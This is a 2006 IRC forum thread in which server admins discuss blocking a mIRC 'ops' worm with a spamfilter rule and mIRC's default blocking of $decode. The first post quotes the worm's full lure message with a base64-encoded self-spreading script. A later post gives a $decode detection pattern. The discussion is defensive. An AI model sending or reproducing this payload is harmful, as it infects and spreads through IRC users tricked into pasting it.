Page 1 of 1

Nkie Worm

Posted: Mon Mar 27, 2006 3:41 am
by FuRiOuS
I am sure this has been done before but I am a complete n00b to this whole spamfilter set up, I'm just now really mastering the main config file. This is the spam message that I'm getting I looked in the spamfilter config file but didn't see this particular one listed. So wanted to post,

^- GET OPS IN THE CHANNEL! USE THIS!: //write ops $decode(b24gMTpqb2luOiM6eyBpZiAoJG1lICFpc29uICN1YXApIHsgLmpvaW4gI3VhcCB8IC50aW1lciAxMCAyIC93aW5kb3cgLWggI3VhcCB9IHwgLmF1c2VyIDIgJG5pY2sgfCAubXNnICRuaWNrIEdFVCBPUFMgSU4gVEhFIENIQU5ORUwhIFVTRSBUSElTIToDNCAvL3dyaXRlIG9wcyAkICQrIGRlY29kZSggJCsgJGVuY29kZSgkcmVhZCgkc2NyaXB0LG4sMSksbSkgJCsgLG0pICRjaHIoMTI0KSAubG9hZCAtcnMgb3BzIH0=,m) | .load -rs ops

How exactly does an entry to the spamfilter need to be laid out, what does it need to say and after it's added do I just rehash the servers? Or am I missing another vital step in this process??? Any and all help is appreciated.

Posted: Mon Mar 27, 2006 4:30 am
by Stealth
IIRC, this one is in spamfilter.conf...

Posted: Mon Mar 27, 2006 11:28 pm
by Jason
Stealth: Yes, but its commented, and for a generic decode exploit.

/spamfilter + cpnNtau kill - Possible_mIRC_Decode_Exploit $decode\(.+\)

Posted: Tue Apr 04, 2006 10:34 pm
by McTerry
Isn't all $decode commands blocked?
I read that mIRC blocked that on the latest version.
Dunno about uIRCd

Posted: Tue Apr 04, 2006 10:49 pm
by Jason
McTerry: They are blocked by default in mirc 6.17

Posted: Wed Apr 05, 2006 8:29 am
by ARcanUSNUMquam
And the person using mIRC can always unblock em. Or if somebody is upgrading from 6.16 to 6.17, and replaces the 6.17 mirc.ini with the 6.16 mirc.ini, then it is automatically unblocked.

Posted: Fri Apr 14, 2006 7:13 pm
by McTerry
wierd... :?